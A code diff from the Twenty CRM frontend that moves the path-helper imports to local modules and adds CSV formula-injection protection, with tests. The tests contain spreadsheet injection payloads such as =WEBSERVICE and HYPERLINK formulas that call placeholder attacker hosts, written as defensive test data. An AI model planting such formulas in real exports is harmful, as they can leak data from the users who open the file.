b/packages/twenty-front/src/modules/object-metadata/components/NavigationDrawerItemForObjectMetadataItem.tsx @@ -3,6 +3,7 @@ import { contextStoreCurrentViewIdComponentState } from '@/context-store/states/ import { lastVisitedViewPerObjectMetadataItemState } from '@/navigation/states/lastVisitedViewPerObjectMetadataItemState'; import { type ObjectMetadataItem } from '@/object-metadata/types/ObjectMetadataItem'; import { prefetchViewsFromObjectMetadataItemFamilySelector } from '@/prefetch/states/selector/prefetchViewsFromObjectMetadataItemFamilySelector'; +import { AppPath } from '@/types/AppPath'; import { NavigationDrawerItem } from '@/ui/navigation/navigation-drawer/components/NavigationDrawerItem'; import { NavigationDrawerItemsCollapsableContainer } from '@/ui/navigation/navigation-drawer/components/NavigationDrawerItemsCollapsableContainer'; import { NavigationDrawerSubItem } from '@/ui/navigation/navigation-drawer/components/NavigationDrawerSubItem'; @@ -10,10 +11,9 @@ import { getNavigationSubItemLeftAdornment } from '@/ui/navigation/navigation-dr import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue'; import { useLocation } from 'react-router-dom'; import { useRecoilValue } from 'recoil'; -import { AppPath } from 'twenty-shared/types'; -import { getAppPath } from 'twenty-shared/utils'; import { useIcons } from 'twenty-ui/display'; import { AnimatedExpandableContainer } from 'twenty-ui/layout'; +import { getAppPath } from '~/utils/navigation/getAppPath'; export type NavigationDrawerItemForObjectMetadataItemProps = { objectMetadataItem: ObjectMetadataItem; diff --git a/packages/twenty-front/src/modules/object-record/object-options-dropdown/components/ObjectOptionsDropdownHiddenFieldsContent.tsx b/packages/twenty-front/src/modules/object-record/object-options-dropdown/components/ObjectOptionsDropdownHiddenFieldsContent.tsx index 0f19078b04..b68bbdbac0 100644 --- a/packages/twenty-front/src/modules/object-record/object-options-dropdown/components/ObjectOptionsDropdownHiddenFieldsContent.tsx +++ b/packages/twenty-front/src/modules/object-record/object-options-dropdown/components/ObjectOptionsDropdownHiddenFieldsContent.tsx @@ -4,6 +4,7 @@ import { useSetRecoilState } from 'recoil'; import { useObjectNamePluralFromSingular } from '@/object-metadata/hooks/useObjectNamePluralFromSingular'; import { useObjectOptionsDropdown } from '@/object-record/object-options-dropdown/hooks/useObjectOptionsDropdown'; +import { SettingsPath } from '@/types/SettingsPath'; import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent'; import { DropdownMenuHeader } from '@/ui/layout/dropdown/components/DropdownMenuHeader/DropdownMenuHeader'; import { DropdownMenuHeaderLeftComponent } from '@/ui/layout/dropdown/components/DropdownMenuHeader/internal/DropdownMenuHeaderLeftComponent'; @@ -12,10 +13,9 @@ import { DropdownMenuSeparator } from '@/ui/layout/dropdown/components/DropdownM import { navigationMemorizedUrlState } from '@/ui/navigation/states/navigationMemorizedUrlState'; import { ViewFieldsHiddenDropdownSection } from '@/views/components/ViewFieldsHiddenDropdownSection'; import { useLingui } from '@lingui/react/macro'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { IconChevronLeft, IconSettings } from 'twenty-ui/display'; import { MenuItem, UndecoratedLink } from 'twenty-ui/navigation'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const ObjectOptionsDropdownHiddenFieldsContent = () => { const { t } = useLingui(); diff --git a/packages/twenty-front/src/modules/object-record/object-options-dropdown/components/ObjectOptionsDropdownHiddenRecordGroupsContent.tsx b/packages/twenty-front/src/modules/object-record/object-options-dropdown/components/ObjectOptionsDropdownHiddenRecordGroupsContent.tsx index b7d013a9ff..1809fe5268 100644 --- a/packages/twenty-front/src/modules/object-record/object-options-dropdown/components/ObjectOptionsDropdownHiddenRecordGroupsContent.tsx +++ b/packages/twenty-front/src/modules/object-record/object-options-dropdown/components/ObjectOptionsDropdownHiddenRecordGroupsContent.tsx @@ -7,6 +7,7 @@ import { RecordGroupsVisibilityDropdownSection } from '@/object-record/record-gr import { useRecordGroupVisibility } from '@/object-record/record-group/hooks/useRecordGroupVisibility'; import { recordGroupFieldMetadataComponentState } from '@/object-record/record-group/states/recordGroupFieldMetadataComponentState'; import { hiddenRecordGroupIdsComponentSelector } from '@/object-record/record-group/states/selectors/hiddenRecordGroupIdsComponentSelector'; +import { SettingsPath } from '@/types/SettingsPath'; import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent'; import { DropdownMenuHeader } from '@/ui/layout/dropdown/components/DropdownMenuHeader/DropdownMenuHeader'; import { DropdownMenuHeaderLeftComponent } from '@/ui/layout/dropdown/components/DropdownMenuHeader/internal/DropdownMenuHeaderLeftComponent'; @@ -17,10 +18,9 @@ import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/ho import { useLingui } from '@lingui/react/macro'; import { useLocation } from 'react-router-dom'; import { useSetRecoilState } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { IconChevronLeft, IconSettings } from 'twenty-ui/display'; import { MenuItem, UndecoratedLink } from 'twenty-ui/navigation'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const ObjectOptionsDropdownHiddenRecordGroupsContent = () => { const { t } = useLingui(); diff --git a/packages/twenty-front/src/modules/object-record/object-options-dropdown/components/ObjectOptionsDropdownRecordGroupFieldsContent.tsx b/packages/twenty-front/src/modules/object-record/object-options-dropdown/components/ObjectOptionsDropdownRecordGroupFieldsContent.tsx index c262b3a8ec..f462e1784d 100644 --- a/packages/twenty-front/src/modules/object-record/object-options-dropdown/components/ObjectOptionsDropdownRecordGroupFieldsContent.tsx +++ b/packages/twenty-front/src/modules/object-record/object-options-dropdown/components/ObjectOptionsDropdownRecordGroupFieldsContent.tsx @@ -8,6 +8,7 @@ import { useSearchRecordGroupField } from '@/object-record/object-options-dropdo import { recordGroupFieldMetadataComponentState } from '@/object-record/record-group/states/recordGroupFieldMetadataComponentState'; import { hiddenRecordGroupIdsComponentSelector } from '@/object-record/record-group/states/selectors/hiddenRecordGroupIdsComponentSelector'; import { useHandleRecordGroupField } from '@/object-record/record-index/hooks/useHandleRecordGroupField'; +import { SettingsPath } from '@/types/SettingsPath'; import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent'; import { DropdownMenuHeader } from '@/ui/layout/dropdown/components/DropdownMenuHeader/DropdownMenuHeader'; import { DropdownMenuHeaderLeftComponent } from '@/ui/layout/dropdown/components/DropdownMenuHeader/internal/DropdownMenuHeaderLeftComponent'; @@ -20,8 +21,7 @@ import { ViewType } from '@/views/types/ViewType'; import { useLingui } from '@lingui/react/macro'; import { useLocation } from 'react-router-dom'; import { useSetRecoilState } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath, isDefined } from 'twenty-shared/utils'; +import { isDefined } from 'twenty-shared/utils'; import { IconChevronLeft, IconSettings, useIcons } from 'twenty-ui/display'; import { MenuItem, @@ -29,6 +29,7 @@ import { UndecoratedLink, } from 'twenty-ui/navigation'; import { FieldMetadataType } from '~/generated-metadata/graphql'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const ObjectOptionsDropdownRecordGroupFieldsContent = () => { const { t } = useLingui(); diff --git a/packages/twenty-front/src/modules/object-record/record-field-list/record-detail-section/relation/components/RecordDetailRelationSection.tsx b/packages/twenty-front/src/modules/object-record/record-field-list/record-detail-section/relation/components/RecordDetailRelationSection.tsx index b29661e260..9c371d234a 100644 --- a/packages/twenty-front/src/modules/object-record/record-field-list/record-detail-section/relation/components/RecordDetailRelationSection.tsx +++ b/packages/twenty-front/src/modules/object-record/record-field-list/record-detail-section/relation/components/RecordDetailRelationSection.tsx @@ -20,13 +20,14 @@ import { recordStoreFamilySelector } from '@/object-record/record-store/states/s import { AggregateOperations } from '@/object-record/record-table/constants/AggregateOperations'; import { type ObjectRecord } from '@/object-record/types/ObjectRecord'; import { prefetchIndexViewIdFromObjectMetadataItemFamilySelector } from '@/prefetch/states/selector/prefetchIndexViewIdFromObjectMetadataItemFamilySelector'; +import { AppPath } from '@/types/AppPath'; import { isDropdownOpenComponentState } from '@/ui/layout/dropdown/states/isDropdownOpenComponentState'; import { useIsMobile } from '@/ui/utilities/responsive/hooks/useIsMobile'; import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue'; import { useLingui } from '@lingui/react/macro'; -import { AppPath, ViewFilterOperand } from 'twenty-shared/types'; -import { getAppPath } from 'twenty-shared/utils'; +import { ViewFilterOperand } from 'twenty-shared/types'; import { RelationType } from '~/generated-metadata/graphql'; +import { getAppPath } from '~/utils/navigation/getAppPath'; type RecordDetailRelationSectionProps = { loading: boolean; diff --git a/packages/twenty-front/src/modules/object-record/record-group/hooks/useRecordGroupActions.ts b/packages/twenty-front/src/modules/object-record/record-group/hooks/useRecordGroupActions.ts index 725156087a..7d4c5613e4 100644 --- a/packages/twenty-front/src/modules/object-record/record-group/hooks/useRecordGroupActions.ts +++ b/packages/twenty-front/src/modules/object-record/record-group/hooks/useRecordGroupActions.ts @@ -8,6 +8,7 @@ import { type RecordGroupAction } from '@/object-record/record-group/types/Recor import { useRecordIndexContextOrThrow } from '@/object-record/record-index/contexts/RecordIndexContext'; import { useRecordIndexIdFromCurrentContextStore } from '@/object-record/record-index/hooks/useRecordIndexIdFromCurrentContextStore'; import { useHasPermissionFlag } from '@/settings/roles/hooks/useHasPermissionFlag'; +import { SettingsPath } from '@/types/SettingsPath'; import { navigationMemorizedUrlState } from '@/ui/navigation/states/navigationMemorizedUrlState'; import { useRecoilComponentFamilyValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentFamilyValue'; import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue'; @@ -17,7 +18,6 @@ import { isUndefined } from '@sniptt/guards'; import { useCallback, useContext } from 'react'; import { useLocation } from 'react-router-dom'; import { useSetRecoilState } from 'recoil'; -import { SettingsPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { IconArrowLeft, diff --git a/packages/twenty-front/src/modules/object-record/record-index/export/hooks/__tests__/useRecordIndexExportRecords.test.ts b/packages/twenty-front/src/modules/object-record/record-index/export/hooks/__tests__/useRecordIndexExportRecords.test.ts index 437f4b31c1..7eaf204856 100644 --- a/packages/twenty-front/src/modules/object-record/record-index/export/hooks/__tests__/useRecordIndexExportRecords.test.ts +++ b/packages/twenty-front/src/modules/object-record/record-index/export/hooks/__tests__/useRecordIndexExportRecords.test.ts @@ -1,5 +1,6 @@ import { type FieldMetadata } from '@/object-record/record-field/ui/types/FieldMetadata'; import { type ColumnDefinition } from '@/object-record/record-table/types/ColumnDefinition'; +import { CSV_INJECTION_PREVENTION_ZWJ } from '@/spreadsheet-import/constants/CsvInjectionPreventionZwj'; import { FieldMetadataType, RelationType } from '~/generated-metadata/graphql'; import { @@ -11,22 +12,38 @@ jest.useFakeTimers(); describe('generateCsv', () => { it('generates a csv with formatted headers', async () => { - const columns = [ - { label: 'Foo', metadata: { fieldName: 'foo' } }, - { label: 'Empty', metadata: { fieldName: 'empty' } }, + const columns: Pick< + ColumnDefinition, + 'size' | 'label' | 'type' | 'metadata' + >[] = [ + { + label: 'Foo', + size: 100, + type: FieldMetadataType.TEXT, + metadata: { fieldName: 'foo' }, + }, + { + label: 'Empty', + size: 100, + type: FieldMetadataType.TEXT, + metadata: { fieldName: 'empty' }, + }, { label: 'Nested link field', + size: 150, type: FieldMetadataType.LINKS, metadata: { fieldName: 'nestedLinkField' }, }, { label: 'Relation', + size: 120, + type: FieldMetadataType.TEXT, metadata: { fieldName: 'relation', relationType: RelationType.MANY_TO_ONE, }, }, - ] as ColumnDefinition[]; + ]; const rows = [ { id: '1', @@ -49,6 +66,275 @@ describe('generateCsv', () => { .toEqual(`Id,Foo,Empty,Nested link field / Link URL,Nested link field / Secondary Links,Relation 1,some field,,https://www.test.com,"[{""label"":""secondary link 1"",""url"":""https://www.test.com""},{""label"":""secondary link 2"",""url"":""https://www.test.com""}]",a relation`); }); + + describe('CSV Injection Prevention with ZWJ', () => { + it('prevents formula injection with equals sign using ZWJ prefix', () => { + const columns: Pick< + ColumnDefinition, + 'size' | 'label' | 'type' | 'metadata' + >[] = [ + { + label: 'Name', + size: 100, + type: FieldMetadataType.TEXT, + metadata: { fieldName: 'name' }, + }, + { + label: 'Formula', + size: 100, + type: FieldMetadataType.TEXT, + metadata: { fieldName: 'formula' }, + }, + ]; + + const rows = [ + { + id: '1', + name: 'Test User', + formula: '=WEBSERVICE("http://attacker.com")', + }, + ]; + + const csv = generateCsv({ columns, rows }); + + expect(csv).toContain( + `${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE(""http://attacker.com"")`, + ); + expect(csv).not.toContain( + '1,Test User,=WEBSERVICE("http://attacker.com")', + ); + expect(csv).toContain( + `1,Test User,"${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE(""http://attacker.com"")"`, + ); + }); + + it('prevents formula injection with plus sign using ZWJ prefix', () => { + const columns: Pick< + ColumnDefinition, + 'size' | 'label' | 'type' | 'metadata' + >[] = [ + { + label: 'Calculation', + size: 100, + type: FieldMetadataType.TEXT, + metadata: { fieldName: 'calculation' }, + }, + ]; + + const rows = [ + { + id: '1', + calculation: '+1+1', + }, + ]; + + const csv = generateCsv({ columns, rows }); + + expect(csv).toContain(`${CSV_INJECTION_PREVENTION_ZWJ}+1+1`); + expect(csv).not.toContain('1,+1+1'); + }); + + it('prevents formula injection with minus sign using ZWJ prefix', () => { + const columns: Pick< + ColumnDefinition, + 'size' | 'label' | 'type' | 'metadata' + >[] = [ + { + label: 'Calculation', + size: 100, + type: FieldMetadataType.TEXT, + metadata: { fieldName: 'calculation' }, + }, + ]; + + const rows = [ + { + id: '1', + calculation: '-1+1', + }, + ]; + + const csv = generateCsv({ columns, rows }); + + expect(csv).toContain(`${CSV_INJECTION_PREVENTION_ZWJ}-1+1`); + expect(csv).not.toContain('1,-1+1'); + }); + + it('prevents formula injection with at symbol using ZWJ prefix', () => { + const columns: Pick< + ColumnDefinition, + 'size' | 'label' | 'type' | 'metadata' + >[] = [ + { + label: 'Reference', + size: 100, + type: FieldMetadataType.TEXT, + metadata: { fieldName: 'reference' }, + }, + ]; + + const rows = [ + { + id: '1', + reference: '@SUM(1,1)', + }, + ]; + + const csv = generateCsv({ columns, rows }); + + expect(csv).toContain(`${CSV_INJECTION_PREVENTION_ZWJ}@SUM(1,1)`); + expect(csv).not.toContain('1,@SUM(1,1)'); + }); + + it('prevents formula injection with tab character using ZWJ prefix', () => { + const columns: Pick< + ColumnDefinition, + 'size' | 'label' | 'type' | 'metadata' + >[] = [ + { + label: 'Data', + size: 100, + type: FieldMetadataType.TEXT, + metadata: { fieldName: 'data' }, + }, + ]; + + const rows = [ + { + id: '1', + data: '\t=WEBSERVICE("http://attacker.com")', + }, + ]; + + const csv = generateCsv({ columns, rows }); + + expect(csv).toContain( + `${CSV_INJECTION_PREVENTION_ZWJ}\t=WEBSERVICE(""http://attacker.com"")`, + ); + expect(csv).not.toContain('1,\t=WEBSERVICE("http://attacker.com")'); + }); + + it('prevents formula injection with carriage return using ZWJ prefix', () => { + const columns: Pick< + ColumnDefinition, + 'size' | 'label' | 'type' | 'metadata' + >[] = [ + { + label: 'Data', + size: 100, + type: FieldMetadataType.TEXT, + metadata: { fieldName: 'data' }, + }, + ]; + + const rows = [ + { + id: '1', + data: '\r=WEBSERVICE("http://attacker.com")', + }, + ]; + + const csv = generateCsv({ columns, rows }); + + expect(csv).toContain( + `${CSV_INJECTION_PREVENTION_ZWJ}\r=WEBSERVICE(""http://attacker.com"")`, + ); + expect(csv).not.toContain('1,\r=WEBSERVICE("http://attacker.com")'); + }); + + it('handles multiple injection attempts in different fields with ZWJ prefix', () => { + const columns: Pick< + ColumnDefinition, + 'size' | 'label' | 'type' | 'metadata' + >[] = [ + { + label: 'Field1', + size: 100, + type: FieldMetadataType.TEXT, + metadata: { fieldName: 'field1' }, + }, + { + label: 'Field2', + size: 100, + type: FieldMetadataType.TEXT, + metadata: { fieldName: 'field2' }, + }, + { + label: 'Field3', + size: 100, + type: FieldMetadataType.TEXT, + metadata: { fieldName: 'field3' }, + }, + ]; + + const rows = [ + { + id: '1', + field1: '=WEBSERVICE("http://evil.com")', + field2: '+SUM(A1:A10)', + field3: '-HYPERLINK("http://malicious.com")', + }, + ]; + + const csv = generateCsv({ columns, rows }); + + expect(csv).toContain( + `${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE(""http://evil.com"")`, + ); + expect(csv).toContain(`${CSV_INJECTION_PREVENTION_ZWJ}+SUM(A1:A10)`); + expect(csv).toContain( + `${CSV_INJECTION_PREVENTION_ZWJ}-HYPERLINK(""http://malicious.com"")`, + ); + + expect(csv).not.toContain('1,=WEBSERVICE("http://evil.com")'); + expect(csv).not.toContain(',+SUM(A1:A10)'); + expect(csv).not.toContain(',-HYPERLINK("http://malicious.com")'); + }); + + it('preserves legitimate content that does not start with dangerous characters', () => { + const columns: Pick< + ColumnDefinition, + 'size' | 'label' | 'type' | 'metadata' + >[] = [ + { + label: 'Name', + size: 100, + type: FieldMetadataType.TEXT, + metadata: { fieldName: 'name' }, + }, + { + label: 'Email', + size: 120, + type: FieldMetadataType.TEXT, + metadata: { fieldName: 'email' }, + }, + { + label: 'Description', + size: 200, + type: FieldMetadataType.TEXT, + metadata: { fieldName: 'description' }, + }, + ]; + + const rows = [ + { + id: '1', + name: 'John Doe', + email: 'john@example.com', + description: + 'This is a normal description with = and + symbols in the middle', + }, + ]; + + const csv = generateCsv({ columns, rows }); + + expect(csv).toContain('John Doe'); + expect(csv).toContain('john@example.com'); + expect(csv).toContain( + 'This is a normal description with = and + symbols in the middle', + ); + }); + }); }); describe('displayedExportProgress', () => { diff --git a/packages/twenty-front/src/modules/object-record/record-index/export/hooks/useRecordIndexExportRecords.ts b/packages/twenty-front/src/modules/object-record/record-index/export/hooks/useRecordIndexExportRecords.ts index fc93e9b14a..6d5fee485a 100644 --- a/packages/twenty-front/src/modules/object-record/record-index/export/hooks/useRecordIndexExportRecords.ts +++ b/packages/twenty-front/src/modules/object-record/record-index/export/hooks/useRecordIndexExportRecords.ts @@ -12,7 +12,8 @@ import { import { type ColumnDefinition } from '@/object-record/record-table/types/ColumnDefinition'; import { type ObjectRecord } from '@/object-record/types/ObjectRecord'; import { COMPOSITE_FIELD_SUB_FIELD_LABELS } from '@/settings/data-model/constants/CompositeFieldSubFieldLabel'; -import { escapeCSVValue } from '@/spreadsheet-import/utils/escapeCSVValue'; +import { formatValueForCSV } from '@/spreadsheet-import/utils/formatValueForCSV'; +import { sanitizeValueForCSVExport } from '@/spreadsheet-import/utils/sanitizeValueForCSVExport'; import { t } from '@lingui/core/macro'; import { saveAs } from 'file-saver'; import { isDefined } from 'twenty-shared/utils'; @@ -60,11 +61,10 @@ export const generateCsv: GenerateExport = ({ const columnsToExportWithIdColumn = [objectIdColumn, ...columnsToExport]; const keys = columnsToExportWithIdColumn.flatMap((col) => { + const headerLabel = `${col.label}${col.type === 'RELATION' ? ' Id' : ''}`; const column = { field: `${col.metadata.fieldName}${col.type === 'RELATION' ? 'Id' : ''}`, - title: escapeCSVValue( - `${col.label}${col.type === 'RELATION' ? ' Id' : ''}`, - ), + title: formatValueForCSV(sanitizeValueForCSVExport(headerLabel)), }; const columnType = col.type; @@ -76,16 +76,46 @@ export const generateCsv: GenerateExport = ({ const subFieldLabel = COMPOSITE_FIELD_SUB_FIELD_LABELS[columnType][key]; return { field: `${column.field}.${key}`, - title: `${column.title} / ${subFieldLabel}`, + title: formatValueForCSV( + sanitizeValueForCSVExport(`${column.title} / ${subFieldLabel}`), + ), }; }); return nestedFieldsWithoutTypename; }); - return json2csv(rows, { + const sanitizedRows = rows.map((row) => { + const sanitizedRow: Record = {}; + + for (const [key, value] of Object.entries(row)) { + // Apply ZWJ sanitization to all string values + if (typeof value === 'string') { + sanitizedRow[key] = sanitizeValueForCSVExport(value); + } else if (isDefined(value) && typeof value === 'object') { + // Handle nested objects (like composite fields) + sanitizedRow[key] = {}; + for (const [nestedKey, nestedValue] of Object.entries(value)) { + if (typeof nestedValue === 'string') { + sanitizedRow[key][nestedKey] = + sanitizeValueForCSVExport(nestedValue); + } else { + sanitizedRow[key][nestedKey] = nestedValue; + } + } + } else { + sanitizedRow[key] = value; + } + } + + return sanitizedRow; + }); + + return json2csv(sanitizedRows, { keys, emptyFieldValue: '', + // Note: We handle CSV injection prevention manually with ZWJ approach above + // This preserves original which the csvSecurity option does not do }); }; diff --git a/packages/twenty-front/src/modules/object-record/record-index/hooks/useHandleIndexIdentifierClick.ts b/packages/twenty-front/src/modules/object-record/record-index/hooks/useHandleIndexIdentifierClick.ts index e89396200c..589b94b3ce 100644 --- a/packages/twenty-front/src/modules/object-record/record-index/hooks/useHandleIndexIdentifierClick.ts +++ b/packages/twenty-front/src/modules/object-record/record-index/hooks/useHandleIndexIdentifierClick.ts @@ -1,8 +1,8 @@ import { contextStoreCurrentViewIdComponentState } from '@/context-store/states/contextStoreCurrentViewIdComponentState'; import { type ObjectMetadataItem } from '@/object-metadata/types/ObjectMetadataItem'; +import { AppPath } from '@/types/AppPath'; import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue'; -import { AppPath } from 'twenty-shared/types'; -import { getAppPath } from 'twenty-shared/utils'; +import { getAppPath } from '~/utils/navigation/getAppPath'; export const useHandleIndexIdentifierClick = ({ objectMetadataItem, diff --git a/packages/twenty-front/src/modules/object-record/record-index/hooks/useOpenRecordFromIndexView.ts b/packages/twenty-front/src/modules/object-record/record-index/hooks/useOpenRecordFromIndexView.ts index eeae4335a9..4f2a60b508 100644 --- a/packages/twenty-front/src/modules/object-record/record-index/hooks/useOpenRecordFromIndexView.ts +++ b/packages/twenty-front/src/modules/object-record/record-index/hooks/useOpenRecordFromIndexView.ts @@ -7,10 +7,10 @@ import { useRecordIndexContextOrThrow } from '@/object-record/record-index/conte import { recordIndexOpenRecordInState } from '@/object-record/record-index/states/recordIndexOpenRecordInState'; import { currentRecordSortsComponentState } from '@/object-record/record-sort/states/currentRecordSortsComponentState'; import { canOpenObjectInSidePanel } from '@/object-record/utils/canOpenObjectInSidePanel'; +import { AppPath } from '@/types/AppPath'; import { useRecoilComponentCallbackState } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentCallbackState'; import { ViewOpenRecordInType } from '@/views/types/ViewOpenRecordInType'; import { useRecoilCallback } from 'recoil'; -import { AppPath } from 'twenty-shared/types'; import { useNavigateApp } from '~/hooks/useNavigateApp'; export const useOpenRecordFromIndexView = () => { diff --git a/packages/twenty-front/src/modules/object-record/record-merge/hooks/useMergeRecordsActions.ts b/packages/twenty-front/src/modules/object-record/record-merge/hooks/useMergeRecordsActions.ts index b4aa2fab02..c4cec46fe7 100644 --- a/packages/twenty-front/src/modules/object-record/record-merge/hooks/useMergeRecordsActions.ts +++ b/packages/twenty-front/src/modules/object-record/record-merge/hooks/useMergeRecordsActions.ts @@ -4,8 +4,8 @@ import { useRecoilValue } from 'recoil'; import { useCommandMenu } from '@/command-menu/hooks/useCommandMenu'; import { useFindManyRecordsSelectedInContextStore } from '@/context-store/hooks/useFindManyRecordsSelectedInContextStore'; import { useMergeManyRecords } from '@/object-record/hooks/useMergeManyRecords'; +import { AppPath } from '@/types/AppPath'; import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar'; -import { AppPath } from 'twenty-shared/types'; import { useNavigateApp } from '~/hooks/useNavigateApp'; import { mergeSettingsState } from '../states/mergeSettingsState'; diff --git a/packages/twenty-front/src/modules/object-record/record-show/hooks/useRecordShowPagePagination.ts b/packages/twenty-front/src/modules/object-record/record-show/hooks/useRecordShowPagePagination.ts index 0cdf02db54..39f1edacfd 100644 --- a/packages/twenty-front/src/modules/object-record/record-show/hooks/useRecordShowPagePagination.ts +++ b/packages/twenty-front/src/modules/object-record/record-show/hooks/useRecordShowPagePagination.ts @@ -7,8 +7,8 @@ import { useObjectMetadataItem } from '@/object-metadata/hooks/useObjectMetadata import { useFindManyRecords } from '@/object-record/hooks/useFindManyRecords'; import { lastShowPageRecordIdState } from '@/object-record/record-field/ui/states/lastShowPageRecordId'; import { useRecordIdsFromFindManyCacheRootQuery } from '@/object-record/record-show/hooks/useRecordIdsFromFindManyCacheRootQuery'; +import { AppPath } from '@/types/AppPath'; import { useQueryVariablesFromParentView } from '@/views/hooks/useQueryVariablesFromParentView'; -import { AppPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { useNavigateApp } from '~/hooks/useNavigateApp'; diff --git a/packages/twenty-front/src/modules/object-record/record-table/empty-state/components/RecordTableEmptyStateRemote.tsx b/packages/twenty-front/src/modules/object-record/record-table/empty-state/components/RecordTableEmptyStateRemote.tsx index 6ac0515f02..7d4f3165ce 100644 --- a/packages/twenty-front/src/modules/object-record/record-table/empty-state/components/RecordTableEmptyStateRemote.tsx +++ b/packages/twenty-front/src/modules/object-record/record-table/empty-state/components/RecordTableEmptyStateRemote.tsx @@ -1,7 +1,7 @@ /* eslint-disable @nx/workspace-no-navigate-prefer-link */ import { RecordTableEmptyStateDisplay } from '@/object-record/record-table/empty-state/components/RecordTableEmptyStateDisplay'; +import { SettingsPath } from '@/types/SettingsPath'; import { t } from '@lingui/core/macro'; -import { SettingsPath } from 'twenty-shared/types'; import { IconSettings } from 'twenty-ui/display'; import { useNavigateSettings } from '~/hooks/useNavigateSettings'; diff --git a/packages/twenty-front/src/modules/object-record/record-table/hooks/useCreateNewIndexRecord.ts b/packages/twenty-front/src/modules/object-record/record-table/hooks/useCreateNewIndexRecord.ts index 42a4576729..0e9785e3d7 100644 --- a/packages/twenty-front/src/modules/object-record/record-table/hooks/useCreateNewIndexRecord.ts +++ b/packages/twenty-front/src/modules/object-record/record-table/hooks/useCreateNewIndexRecord.ts @@ -9,9 +9,9 @@ import { RecordTitleCellContainerType } from '@/object-record/record-title-cell/ import { type ObjectRecord } from '@/object-record/types/ObjectRecord'; import { canOpenObjectInSidePanel } from '@/object-record/utils/canOpenObjectInSidePanel'; import { getRecordFieldInputInstanceId } from '@/object-record/utils/getRecordFieldInputId'; +import { AppPath } from '@/types/AppPath'; import { ViewOpenRecordInType } from '@/views/types/ViewOpenRecordInType'; import { useRecoilCallback } from 'recoil'; -import { AppPath } from 'twenty-shared/types'; import { isDefined } from 'twenty-shared/utils'; import { v4 } from 'uuid'; import { useNavigateApp } from '~/hooks/useNavigateApp'; diff --git a/packages/twenty-front/src/modules/object-record/record-table/record-table-header/components/RecordTableHeaderPlusButtonContent.tsx b/packages/twenty-front/src/modules/object-record/record-table/record-table-header/components/RecordTableHeaderPlusButtonContent.tsx index 8953ed16cf..23ac2bbfa0 100644 --- a/packages/twenty-front/src/modules/object-record/record-table/record-table-header/components/RecordTableHeaderPlusButtonContent.tsx +++ b/packages/twenty-front/src/modules/object-record/record-table/record-table-header/components/RecordTableHeaderPlusButtonContent.tsx @@ -7,16 +7,16 @@ import { useChangeRecordFieldVisibility } from '@/object-record/record-field/hoo import { type FieldMetadata } from '@/object-record/record-field/ui/types/FieldMetadata'; import { useRecordTableContextOrThrow } from '@/object-record/record-table/contexts/RecordTableContext'; import { type ColumnDefinition } from '@/object-record/record-table/types/ColumnDefinition'; +import { SettingsPath } from '@/types/SettingsPath'; import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent'; import { DropdownMenuItemsContainer } from '@/ui/layout/dropdown/components/DropdownMenuItemsContainer'; import { DropdownMenuSeparator } from '@/ui/layout/dropdown/components/DropdownMenuSeparator'; import { useCloseDropdown } from '@/ui/layout/dropdown/hooks/useCloseDropdown'; import { navigationMemorizedUrlState } from '@/ui/navigation/states/navigationMemorizedUrlState'; import { useLingui } from '@lingui/react/macro'; -import { SettingsPath } from 'twenty-shared/types'; -import { getSettingsPath } from 'twenty-shared/utils'; import { IconSettings, useIcons } from 'twenty-ui/display'; import { MenuItem, UndecoratedLink } from 'twenty-ui/navigation'; +import { getSettingsPath } from '~/utils/navigation/getSettingsPath'; export const RecordTableHeaderPlusButtonContent = () => { const { t } = useLingui(); diff --git a/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsConnectedAccountsListCard.tsx b/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsConnectedAccountsListCard.tsx index 8945cc4471..66a2bec272 100644 --- a/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsConnectedAccountsListCard.tsx +++ b/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsConnectedAccountsListCard.tsx @@ -2,9 +2,9 @@ import { type ConnectedAccount } from '@/accounts/types/ConnectedAccount'; import { SettingsAccountsListEmptyStateCard } from '@/settings/accounts/components/SettingsAccountsListEmptyStateCard'; import { SettingsConnectedAccountsTableHeader } from '@/settings/accounts/components/SettingsConnectedAccountsTableHeader'; import { SettingsConnectedAccountsTableRow } from '@/settings/components/SettingsConnectedAccountsTableRow'; +import { SettingsPath } from '@/types/SettingsPath'; import { Table } from '@/ui/layout/table/components/Table'; import styled from '@emotion/styled'; -import { SettingsPath } from 'twenty-shared/types'; import { useLingui } from '@lingui/react/macro'; import { IconPlus } from 'twenty-ui/display'; diff --git a/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsEditImapSmtpCaldavConnection.tsx b/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsEditImapSmtpCaldavConnection.tsx index ff76c533ad..6067c55189 100644 --- a/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsEditImapSmtpCaldavConnection.tsx +++ b/packages/twenty-front/src/modules/settings/accounts/components/SettingsAccountsEditImapSmtpCaldavConnection.tsx @@ -5,13 +5,13 @@ import { useParams } from 